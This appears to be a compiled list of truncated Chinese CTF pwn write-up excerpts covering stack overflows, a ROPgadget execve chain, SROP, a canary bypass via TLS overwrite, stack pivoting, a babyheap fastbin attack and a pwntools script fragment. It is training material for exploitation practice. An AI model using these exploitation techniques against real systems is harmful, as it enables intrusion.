main函数如下: int __cdecl main(int argc, const char **argv, const char **envp) { time_t v3; // eax char s2[11]; // [esp+1Dh] [ebp-13h] BYREF int v6; // [esp+28h] [ebp-8h] int i; // [esp+2Ch] [ebp-4h] v6 = 10; puts("\n\n\n------Test Your Memory!-------\n"); v3 = time(0); srand(v3); for ( i = 0; i < v6; ++i ) s2[i] =...

第一种方式常规exp1 通过填满栈来溢出,将getflag函数塞到返回地址里面 调用get_flag(arg1)时,系统会先把arg1放进最后一个格子,再放 “执行完要跳回的地址(exit)”,最后跳去执行get_flag; 我们构造 payload,就是手动模拟这个 “放参数→放返回地址” 的过程,只不过是通过溢出把这些内容 “填” 到对应的格子里。 payload = 填充字节(offset) + get_flag函数地址 + exit函数地址 + get_flag的参数(可选) 之后函数需要参数时都应放在返回地址之后 第二种方式exp2 有一个函数mprotect ssize_t read(int fd, void _buf,...

这道题的设置是比较简单的,一个显而易见的gets()overflow,但是找不到pop rdi,又不能让自己受着,请出ROPgadget大人杀死比赛。 ROPgadget --bianry rop --ropchain 在cpu的一阵运算下得到了这个: #!/usr/bin/env python3 # execve generated by ROPgadget from struct import pack # Padding goes here p = b'' p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p +=...

结合笔记里写到的csu部分配合srop食用 __unwind { push rbp mov rbp, rsp xor rax, rax mov edx, 400h ; count lea rsi, [rsp+buf] ; buf mov rdi, rax ; fd syscall ; LINUX - sys_read mov rax, 1 mov edx, 30h ; '0' ; count lea rsi, [rsp+buf] ; buf mov rdi, rax ; fd syscall ; LINUX - sys_write retn 主函数的结尾只有一个retn没有leave,此处函数运行结束的时候rsp是停在...

前置知识 canary防御措施与其绕过 ret2libc 栈迁移(可用) 整体思路 题目非常简单粗暴,主要逻辑是在一个子线程中实现的。首先输入要输入的长度,然后再输入payload,且长度可以非常大。因此,要进行栈溢出的唯一难点就在canary,而canary是位于fs寄存器 中的,也就是TLS结构体的一个偏移。在子线程中,tls结构体在栈中的偏移是固定的,可以在gdb中通过p/x *(tcbhead_t*)(pthread_self())方式来查看tls结构体的值。其中stack_guard就是canary的值,校验canary时会取出这个值和栈中的canary进行校验,==因此覆盖这个值为想要的值即可==。可以在gdb通过...

babyheap_0ctf_2017 详细解析 本题是一道经典的堆利用题目,考察 fastbin attack 和 堆溢出漏洞利用,程序开启了全部保护(64位、Canary、NX、PIE、Full RELRO)。以下是完整的解题步骤: 一、漏洞分析 程序功能: Allocate:申请指定大小的堆块(最大0x1000字节) Fill:向堆块写入数据(存在堆溢出漏洞) Free:释放堆块 Dump:输出堆块内容 关键漏洞: Fill操作未检查写入长度,可覆盖相邻堆块的头部数据(如size字段) 结合堆布局和释放操作可泄露libc地址 通过伪造fastbin chunk劫持__malloc_hook 二、利用步骤 阶段1:泄露libc地...

这是一个非常经典的 堆利用(Heap Exploitation) 场景,你正在利用 unsorted bin 泄露 libc 地址。我们来详细解释为什么 dump(2) 会泄露 main_arena + 88(即 main_arena88)。 🔍 背景:unsorted bin 与 main_arena 的关系 在 glibc 的 malloc 实现中: 当你 free 一个 不是 fastbin 大小(通常 ≥ 0x90 字节,含 chunk header)的 chunk 时,它会被放入 unsorted bin。 unsorted bin 是一个双向循环链表,其头节点(fd 和 bk 指针)就位于 main_arena 结构体内...

思路 pthread多线程利用 栈溢出覆盖TLS结构体中内容,来绕过canary保护 栈迁移到bss段去执行onegadget 主函数: 漏洞函数:可以栈溢出 基本知识 / sysdeps\x86_64\nptl\tls.h typedef struct { void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */ dtv_t *dtv; void *self; /* Pointer to the thread descriptor. */ int multiple_threads; int...

wp源地址 总结 通过本题的学习与总结有: 之前一直以为ret2libc必须得返回到原本的输入函数处,再次输入一次getshell。但有时候我们重新返回到原本的输入函数可能会出现一些问题,因此我们可以打一个栈迁移+rop执行read。就是先覆盖rbp为bss段上的地址,然后执行puts函数泄露libc,接着执行read函数往bss段上输入数据,最后执行leave ret完成栈迁移从而将执行流劫持到bss段上 插入到栈里的canary是从TLS结构体中的stack_guard成员变量赋值过来的(而函数返回时,会将栈里的canary与TLS中的stack_guard做对比)。主线程中的TLS通常位于mmap映射出来的地址空间里,而位置也...

from pwn import * p = process('bjdctf_2020_babyrop2') libcelf = ELF('/lib/x86_64-linux-gnu/libc.so.6') poprdiret = 0x0000000000400993 main = 0x00000000004008DA pltputs = 0x0000000000400610 gotputs = 0x0000000000601018 p.sendlineafter("I'll give u some gift to help u!\n","%7$p") canary = int(p.recvuntil("00")[2:],16)...